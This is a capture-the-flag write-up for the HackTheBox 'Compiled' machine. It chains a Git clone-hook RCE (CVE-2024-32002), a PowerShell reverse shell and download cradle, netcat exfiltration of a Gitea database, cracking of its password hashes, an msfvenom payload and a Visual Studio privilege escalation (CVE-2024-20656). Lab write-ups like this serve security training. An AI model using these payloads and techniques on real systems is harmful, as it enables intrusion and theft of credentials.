Compiled – HackTheBox Link to heading
- OS: Windows
- Difficulty: Medium
- Platform: HackTheBox
Summary Link to heading
“Compiled” is a medium machine from HackTheBox
platform. We find a web service that clones Git
repositories. Additionally, we are able to find a Gitea
instance running in the victim machine that shows some repositories. We are able to create a malicious repository in the internal Gitea
service that abuses a vulnerability labeled as CVE-2024-32002 that allows Remote Code Execution
. Abusing this vulnerability we are able to gain access to the victim machine. Once inside, we find an SQLite
database in the victim machine, where we find hashes and salts for passwords with pbkdf2
algorithm; where we are able to crack and find the password for a new user. This new user has access through WinRM
; or we can pivot with this user with RunasCs
tool ass well. Once as this new user, we are able to see that the target machine was running a vulnerable service of Visual Studio
software to CVE-2024-20656, which allow us to execute code and eventually gain access as nt authority/system
.
User Link to heading
Starting with a quick Nmap
scan:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.26
Shows 4 ports open: 3000
, 5000
, HTTP
sites, 5985
Windows Remote Management
and 7680
.
Applying some recognition scans with -sVC
flag shows:
❯ sudo nmap -sVC -p3000,5000,5985,7680 10.10.11.26
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 02:24 -03
Nmap scan report for 10.10.11.26
Host is up (0.33s latency).
PORT STATE SERVICE VERSION
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=389dcb552a48c041; Path=/; HttpOnly; SameSite=Lax
<SNIP>
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Sun, 08 Dec 2024 05:25:20 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5234
| Connection: close
| <!DOCTYPE html>
<SNIP>
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp open pando-pub?
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.67 seconds
Using WhatWeb
against ports 3000
and 5000
returns:
❯ whatweb -a 3 http://10.10.11.26:3000/
http://10.10.11.26:3000/ [200 OK] Cookies[_csrf,i_like_gitea], Country[RESERVED][ZZ], HTML5, HttpOnly[_csrf,i_like_gitea], IP[10.10.11.26], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[Git], X-Frame-Options[SAMEORIGIN]
❯ whatweb -a 3 http://10.10.11.26:5000/
http://10.10.11.26:5000/ [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.26], JQuery, Python[3.12.3], Script, Title[Compiled - Code Compiling Services], Werkzeug[3.0.3]
Port 3000
shows a Gitea
service whereas port 5000
seems to be running a web page using Flask
.
Visiting http://10.10.11.26:3000
shows, as expected, a site running Gitea
:
We create an account in this Gitea
site, and then go to Explore
to view some exposed/public repositories. There we can see 2 repositories:
We can see 2 repositories that belong to richard
user.
Checking Compiled
repository shows a description for the repository:
Welcome to Compiled, your one-stop solution for compiling C++, C#, and .NET projects. This web application allows users to input GitHub repository URLs and get their projects compiled effortlessly.
In summary, it is a page that compiles C
, C#
and Microsoft .NET
projects. Sometimes, when we try to download a repository, it only contains .sln
(for C#
) or .c
(for C
) files. So, apparently, this site compiles files contained in a repository.
The site also provides a Usage
section:
Once the application is up and running, follow these steps to compile your projects:
1. Open your web browser and navigate to http://localhost:5000.
2. Enter the URL of your GitHub repository (must be a valid URL starting with http:// and ending with .git).
3. Click the Submit button.
4. Wait for the compilation process to complete and view the results.
Checking the other project for richard
, called Calculator
, shows:
The page shows a simple calculator script in C#
, how to build it and execute it, but nothing besides that.
At this point we can also check other HTTP
page running on port 5000
. Visiting http://10.10.11.26:5000
shows a compiler for C
, C#
and Microsoft .NET
:
Based on how the site looks, we assume that the code at Compiled
Gitea
repository (that also included an app.py
file for Flask
) is the code running in this webpage.
First of all, we want to the if the compiler works. For this we could create a simple C#
file, or we can just clone Calculator
repository in our attacker machine, expose it through a HTTP
server and check if it works. Clone Calculator
repository:
❯ git clone http://10.10.11.26:3000/richard/Calculator.git
Cloning into 'Calculator'...
remote: Enumerating objects: 25, done.
remote: Counting objects: 100% (25/25), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 25 (delta 7), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (25/25), 8.81 KiB | 2.94 MiB/s, done.
Resolving deltas: 100% (7/7), done.
Exposing the cloned files through a temporal HTTP
Python
server on port 8000
:
❯ ls -la && python -m http.server 8000
total 36
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec 8 02:57 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Dec 8 02:57 ..
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Dec 8 02:57 Calculator
-rw-rw-r-- 1 gunzf0x gunzf0x 1420 Dec 8 02:57 Calculator.sln
drwxrwxr-x 8 gunzf0x gunzf0x 4096 Dec 8 02:58 .git
-rw-rw-r-- 1 gunzf0x gunzf0x 2518 Dec 8 02:57 .gitattributes
-rw-rw-r-- 1 gunzf0x gunzf0x 6223 Dec 8 02:57 .gitignore
-rw-rw-r-- 1 gunzf0x gunzf0x 3308 Dec 8 02:57 README.md
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
and then requesting the repository in the compiler webpage returns an error:
The site must be a valid .git
site.
We could download a Docker
Gitea
container, deploy Gitea
there and upload our projects there. Or, since we have a site already running Gitea
and we are allowed to create an account, we can use Gitea
service on the victim machine to upload/refer to projects there. For example, if we pass as url to the compiler site the url http://10.10.11.26:3000/richard/Calculator.git
(which is the Calculator
Git
instance) we get from the webpage the response:
We only get the text Your git repository is being cloned for compilation
. But nothing else happens.
We then must find a way to execute commands or inject commands while the program is compiled and/or cloned (as the text says, the project is cloned). Searching for Remote Code Execution
exploits (or similar) for Git
returns a vulnerability labeled as CVE-2024-32002. The phrase that catches our attention is This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed
. So the exploit is triggered when the repository is cloned, as the webpage said. Searching more for this vulnerability for a PoC, we reach this blog. Reading a little bit, this user provides the following exploit as a Bash
script:
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
In short, this script:
- Sets global
Git
configurations - Defines a
tell-tale
file. - Create a malicious repository called
hook
containing a payload, where they provide commands to be executed (with examples for different OS:echo "amal_was_here" > /tmp/pwnd
forLinux
,calc.exe
forWindows
andopen -a Calculator.app
formacOS
). - Prepares a submodule in another repository called
captain
. It adds as a submodulehook
repository in this new repository. - Creates a symbolic link
.git
that will trigger the command execution when this is cloned. - Executes the command cloning
captain
malicious repository into a new repository calledhooked
(nothook
).
We can then slightly modify this script for our purposes. I will just make 2 main changes: i). The author also provides this Github repository with all the needed files. I will slightly change the Bash
script provided for 2 reasons: i) The script is executing hooks
repository in local (i.e., it is executing hook
locally instead of cloning it from a remote repository hosted in platforms like Gitea
); ii) Since the victim machine is a Windows
machine, we want to execute a command that send us a reverse shell.
In the blog, they also show how to fix our point i). Basically, we must change:
$ cat captain/.gitmodules
[submodule "x/y"]
path = A/modules/x
url = C:/Users/user/rce/hook
to look like:
[submodule "x/y"]
path = A/modules/x
url = git@github.com-hook:amalmurali47/hook.git
Just to check how are repositories named in the victim machine, we can go to our created account at Gitea
site, create a new repository, select/tick the option to add README.md
files, license and others and create the repository. In this case we just have:
So, to clone this repository, we can use:
http://10.10.11.26:3000/gunzf0x/test_repo.git
for HTTP
or:
COMPILED\Richard@gitea.compiled.htb:gunzf0x/test_repo.git
for SSH
. I will just use the first option, but you can also try with the second one.
As a command, we can just set a “cradle” to send us a reverse shell. We do this since it could be that we might get blocked attempting to get a shell. Usually what we do to obtain a reverse shell is:
- Send a payload to the target machine.
- Obtain a reverse shell in a listener. But with a “cradle” the steps are:
- Store a payload that send us a reverse shell in a file
- Store that file into a temporal
HTTP
server - Send a payload to request the payload at the temporal
HTTP
server - Obtain a reverse shell in a listener.
If we get a response in the HTTP
server requesting the file, but we never get a reverse shell, it might indicate that we have reached command execution but the shell gets blocked by some antivirus or Windows Defender
.
As a payload that will send us a reverse shell we select Nishang TCP Oneliner script for Powershell
:
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.2',443);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Where we have slightly modified the original script to the IP address 10.10.16.2
(our attacker IP address) and port 443
(the port we will start listening with netcat
to obtain a shell). We store this script in a file called rev.ps1
.
Then craft the “cradle” that is just a request to rev.ps1
through Powershell
being exposed on port 8000
. Encode it to utf-16le
(which is how Powershell
interprets chars) and encode it on base64
:
❯ echo -n 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.2:8000/rev.ps1")' | iconv -t utf-16le | base64 -w0; echo
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIAOgA4ADAAMAAwAC8AcgBlAHYALgBwAHMAMQAiACkA
Then just expose rev.ps1
in a temporal HTTP
Python
server on port 8000
:
❯ ls -la && python3 -m http.server 8000
total 12
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Dec 8 04:30 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Dec 8 02:23 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 500 Dec 8 04:30 rev.ps1
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
We have the payloads for Windows
commands ready. Now let’s create the payloads for Git
. First, create two repositories: one called hook
and other called captain
in our created Gitea
and leave them empty:
and we have both repositories needed created:
Now, to execute commands we slightly modify the Bash PoC provided and adapt it:
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook (CHANGED TO GET A REVSHELL)
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIAOgA4ADAAMAAwAC8AcgBlAHYALgBwAHMAMQAiACkA
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
# Set origin where "hook" has been uploaded to Git in the victim machine
hook_repo_path='http://10.10.11.26:3000/gunzf0x/hook.git'
git remote add origin $hook_repo_path
# Upload the files
git push -u origin main
cd ..
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
# Upload files to created "captain" repository to Git in the victim machine
git remote add origin http://10.10.11.26:3000/gunzf0x/captain.git
git push -u origin main
cd ..
and execute it:
❯ bash git_exploit.sh
Initialized empty Git repository in /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/hook/.git/
[main (root-commit) e7fbcf1] post-checkout
1 file changed, 2 insertions(+)
create mode 100755 y/hooks/post-checkout
Username for 'http://10.10.11.26:3000': gunzf0x
Password for 'http://gunzf0x@10.10.11.26:3000':
<SNIP>
Whenever the script asks for user and password just use the credentials you have used in your created account in the Gitea
instance.
We can check that both repositories now contain the malicious files needed:
Also remember to check that .gitmodules
in captain
repository points to the malicious repository:
Expose rev.ps1
in a temporal HTTP
server with Python
:
❯ ls -la && python3 -m http.server 8000
total 24
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec 8 04:55 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Dec 8 02:23 ..
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec 8 04:55 captain
-rwxrwxr-x 1 gunzf0x gunzf0x 1620 Dec 8 04:51 git_exploit.sh
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec 8 04:55 hook
-rw-rw-r-- 1 gunzf0x gunzf0x 500 Dec 8 04:30 rev.ps1
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Start a netcat
listener along with rlwrap
on port 443
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
and in the page on port 5000
send the captain
repository. After like a minute we get a request in our HTTP
server, and after that a shell as Richard
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 63452
whoami
Richard
PS C:\Users\Richard\source\cloned_repos\6shma\.git\modules\x> whoami
Richard
Searching for files we eventually find a .db
file at C:\ProgramFiles\Gitea\data
called gitea.db
:
PS C:\Program Files\Git> cmd /c dir "C:\Program Files\*.db" /s
Volume in drive C has no label.
Volume Serial Number is 352B-98C6
Directory of C:\Program Files\Gitea\data
12/08/2024 08:59 AM 2,023,424 gitea.db
1 File(s) 2,023,424 bytes
Total Files Listed:
1 File(s) 2,023,424 bytes
0 Dir(s) 10,047,758,336 bytes free
To transfer this file we can use a netcat
binary for Windows
.
First, pass the netcat
binary from our attacker machine to the victim Windows
machine. As usual, expose that file in a temporal HTTP
Python
server, and download that file using certutil
in the Windows
machine:
PS C:\Program Files\Git> certutil.exe -f -split -urlcache http://10.10.16.2:8000/nc64.exe C:\Users\Richard\Downloads\nc.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
Then, transfer gitea.db
file in our attacker machine. For that start a listener on our attacker machine on another port like 4444
and store all the data received on a file named gitea.db
:
❯ nc -lvnp 4444 > gitea.db
listening on [any] 4444 ...
and in the victim machine use the netcat
binary to transfer the file:
PS C:\Program Files\Git> cmd /c 'C:\Users\Richard\Downloads\nc.exe 10.10.16.2 4444 < C:\"Program Files"\Gitea\data\gitea.db'
After like a minute we can stop the process (Ctrl+C
) in our attacker machine. It is an SQLite
file:
❯ file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3042000, file counter 720, database pages 494, 1st free page 494, free pages 1, cookie 0x1cb, schema 4, UTF-8, version-valid-for 720
Check its content using SQLite
in our attacker machine:
❯ sqlite3 gitea.db
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables
<SNIP>
language_stat upload
lfs_lock user
lfs_meta_object user_badge
<SNIP>
We have a user
table. Checking its column names shows:
sqlite> PRAGMA table_info(user);
0|id|INTEGER|1||1
1|lower_name|TEXT|1||0
2|name|TEXT|1||0
3|full_name|TEXT|0||0
4|email|TEXT|1||0
5|keep_email_private|INTEGER|0||0
6|email_notifications_preference|TEXT|1|'enabled'|0
7|passwd|TEXT|1||0
8|passwd_hash_algo|TEXT|1|'argon2'|0
9|must_change_password|INTEGER|1|0|0
10|login_type|INTEGER|0||0
11|login_source|INTEGER|1|0|0
12|login_name|TEXT|0||0
13|type|INTEGER|0||0
<SNIP>
We have usernames and passwords; and more.
We check some interesting columns:
sqlite> select lower_name, name, email, passwd, passwd_hash_algo, salt from user;
administrator|administrator|administrator@compiled.htb|1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d|pbkdf2$50000$50|a45c43d36dce3076158b19c2c696ef7b
richard|richard|richard@compiled.htb|4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e|pbkdf2$50000$50|d7cf2c96277dd16d95ed5c33bb524b62
emily|emily|emily@compiled.htb|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|pbkdf2$50000$50|227d873cca89103cd83a976bdac52486
gunzf0x|gunzf0x|gunzf0x@compiled.htb|b9d5e695a7f4495ad46477262659d757071dab51983b97b20519e3068ed95d8fd2668469b02daf269591bbf94c9d199df7f4|pbkdf2$50000$50|67769c632307eeae38492e09e2f86d2b
We have salted hashes using PBKDF2
algorithm. Basically, here the important columns are name
for the username, passwd
is the hashed password, passwd_hash_algo
sets the hash algorithm type and salt
is the salt for the user.
Not counting the last hash (which is the hash for our user), we have found 3 hashes:
1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d
4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e
97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16
and also save their salts:
a45c43d36dce3076158b19c2c696ef7b
d7cf2c96277dd16d95ed5c33bb524b62
227d873cca89103cd83a976bdac52486
Where the first salt corresponds to the first hash found and so on… We save them into two files.
This blog gives an excellent explanation about PBKDF2
hashing algorithm. Searching for pbkdf2 Gitea
yields to this security configuration Cheat-Sheet for Gitea. There they talk about password_hash_algo
parameter:
The hash functions may be tuned by using $
after the algorithm:
argon2$<time>$<memory>$<threads>$<key-length>
bcrypt$<cost>
pbkdf2$<iterations>$<key-length>
scrypt$<n>$<r>$<p>$<key-length>
pbkdf2$50000$50
for password_hash_algo
, this means we have 50000 iterations
and 50
key length.Fortunately, hashlib has a function to deal with this type of hashes. It requires a hash_name
(hash type, like SHA256
), a password, salt, iterations and dklen
(length of the derived key in bytes). The example they provide is:
from hashlib import pbkdf2_hmac
our_app_iters = 500_000 # Application specific, read above.
dk = pbkdf2_hmac('sha256', b'password', b'bad salt' * 2, our_app_iters)
print (dk.hex())
# '15530bba69924174860db778f2c6f8104d3aaf9d26241840c8c4a641c8d000a9'
We then build a similar script using the data needed:
import binascii
from hashlib import pbkdf2_hmac
# Set parameters found in .db file
n_iter: int = 50_000
key_length_val: int = 50
def find_matching_password(dictionary_file, target_hash, salt, iterations=n_iter, key_length=key_length_val):
"""
Find matching password from dictionary file.
"""
target_hash_bytes = binascii.unhexlify(target_hash)
# Read rockyou.txt
with open(dictionary_file, 'r', encoding='utf-8') as file:
for line in file:
password = line.strip()
computed_hash = pbkdf2_hmac('sha256', password.encode('utf-8'), salt, iterations, dklen=key_length)
# Check if hash is correct
if computed_hash == target_hash_bytes:
print(f"[+] Password found: {password}")
return password
print("[-] Password not found.")
return None
# Parameters
salt = binascii.unhexlify('227d873cca89103cd83a976bdac52486') # Salt value from gitea.db
target_hash = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16' # Hash sourced from gitea.db
dictionary_file = '/usr/share/wordlists/rockyou.txt' # Path to dictionary file
# Find matching password
find_matching_password(dictionary_file, target_hash, salt)
Here the password for emily
user works:
❯ python3 crack_pass_with_hash.py
[+] Password found: 12345678
Another way, without a Python
script, is using the format:
<hashing-algorithm>:<iterations>:<hex-to-base64-salt>:<hex-to-base64r-hash>
Where the needed properties are:
- The hashing algorithm is
sha256
. - Iterations, as we have seen, are
50000
. - Just pass the salt from hexadecimal to “normal text” and then to
base64
:
❯ echo -n '227d873cca89103cd83a976bdac52486' | xxd -r -p | base64
In2HPMqJEDzYOpdr2sUkhg==
- Repeat step 3, but with the hash found:
❯ echo -n '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16' | xxd -r -p | base64
l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=
Then, just attempt a Brute Force Password Cracking
with Hashcat
. Acording to Hashcat example hashes, mode 10900
works:
❯ hashcat -m 10900 -a 0 -w 3 -O sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY= /usr/share/wordlists/rockyou.txt
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=:12345678
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q...Io/BY=
<SNIP>
We have a potential password for this user. We can then use RunasCs
to pivot to this user (that can be downloaded from its Github repository). Upload the RunasCs.exe
file as we have done for other files before and use it to pivot to emily
user:
PS C:\Program Files\Git> C:\Users\Richard\Downloads\runascs.exe 12345678 cmd.exe -r 10.10.16.2:443 -t 10 --bypass-uac
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-153257$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 5080 created in background.
and get a shell as emily
user:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 60923
Microsoft Windows [Version 10.0.19045.4651]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
compiled\emily
Also, from Nmap
scan, we can remember that WinRM
service was running on the victim machine. Maybe emily
has access through this service? We can check it using NetExec
:
❯ nxc winrm 10.10.11.26 -u 'emily' -p '12345678'
WINRM 10.10.11.26 5985 COMPILED [*] Windows 10 / Server 2019 Build 19041 (name:COMPILED) (domain:COMPILED)
WINRM 10.10.11.26 5985 COMPILED [+] COMPILED\emily:12345678 (Pwn3d!)
It worked.
We can then connect to the victim machine using evil-winrm
as well:
❯ evil-winrm -i 10.10.11.26 -u 'emily' -p '12345678'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Emily\Documents>
We can finally read the user flag at this user Desktop directory.
NT Authority/System - Administrator Link to heading
Checking emily
Documents
directory we can see:
*Evil-WinRM* PS C:\Users\Emily\Documents> dir
Directory: C:\Users\Emily\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/20/2024 1:55 AM Visual Studio 2019
It has a Visual Studio
directory.
We can check running Windows
services on the victim machine:
*Evil-WinRM* PS C:\Users\Emily\Documents> services.msc
Path Privileges Service
---- ---------- -------
<SNIP>
"C:\Program Files\Microsoft Update Health Tools\uhssvc.exe" False uhssvc
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" False VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" False VMTools
"C:\Program Files (x86)\Microsoft Visual Studio\Shared\Common\DiagnosticsHub.Collection.Service\StandardCollector.Service.exe" False VSStandardCollectorService150
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\MsMpEng.exe" True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc
One of the services is related to Visual Studio
called VSStandardCollectorService150
.
Checking vulnerabilities for Visual Studio
at MITRE shows many of them. Among them we find CVE-2024-20656 for VSStandardCollectorService150
. We have this blog explaining this vulnerability. In short, this vulnerability takes advantage to write files, while the service is being executed, in an unrestricted folder, owned by nt authority/system
, to write files/symbolic links to potential malicious files and execute them with privileges.
If we check running processes for Windows
using evil-winrm
we get an error:
*Evil-WinRM* PS C:\Users\Emily\Documents> Get-Service -Name "VSStandardCollectorService150"
Cannot find any service with service name 'VSStandardCollectorService150'.
At line:1 char:1
+ Get-Service -Name "VSStandardCollectorService150"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (VSStandardCollectorService150:String) [Get-Service], ServiceCommandException
+ FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand
but if we use CMD
session obtained with RunasCs
we are able to access to this service:
C:\Windows\system32>powershell.exe -command Get-Service -Name "VSStandardCollectorService150"
powershell.exe -command Get-Service -Name "VSStandardCollectorService150"
Status Name DisplayName
------ ---- -----------
Running VSStandardColle... Visual Studio Standard Collector Se...
This tells us a hint for later: with RunasCs
session we are able to access some services that we cannot access in evil-winrm
session.
Searching for this vulnerability also provides this repository. However, building it and compiling it did not work for me. So I will use a fork of this repository instead. Following the steps of that fork, we must first create a malicious .exe
file that send us a reverse shell with msfvenom
:
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.2 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe
Using emily
evil-winrm
session, upload all the needed files into a directory named c:\exploit
. Create that directory:
*Evil-WinRM* PS C:\Users\Emily\Downloads> mkdir c:\exploit
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/8/2024 6:03 PM exploit
and upload all the necessary files using upload
function:
*Evil-WinRM* PS C:\Users\Emily\Documents> cd c:\exploit
*Evil-WinRM* PS C:\exploit> upload payload.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/payload.exe to C:\exploit\payload.exe
Data: 98400 bytes of 98400 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\exploit> upload RunasCs.exe runascs.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/RunasCs.exe to C:\exploit\runascs.exe
Data: 68948 bytes of 68948 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\exploit> upload Expl.exe
Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/CVE-2024-20656/Expl.exe to C:\exploit\Expl.exe
Data: 346792 bytes of 346792 bytes copied
Info: Upload successful!
Once uploaded all the files, pass from evil-winrm
a CMD
session using RunasCs
, bypassing UAC
. Start a listener with netcat
on port 443
and in the victim machine execute RunasCs
:
User Account Control (UAC)
, if we don’t use RunasCs
when we execute the exploit we will get the error The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.
in the chain attack later. The message clearly shows a problem with permissions, which is why I suspect it can be related to UAC
and is bypassed with RunasCs
.Then, in the shell obtained with RunasCs
, pass from a CMD
to Powershell
:
C:\Windows\system32>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32>
Then, export VSDiagnostics.exe
path as the forked repository says:
PS C:\Windows\system32> $VSDiagnostics = Get-Item "C:\\*\\Microsoft Visual Studio\\*\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe" | Select -last 1
$VSDiagnostics = Get-Item "C:\\*\\Microsoft Visual Studio\\*\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe" | Select -last 1
Start a listener with netcat
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
and execute the chain attack with the exploit:
PS C:\Windows\system32> c:\exploit\Expl.exe $VSDiagnostics.FullName "c:\exploit\payload.exe"
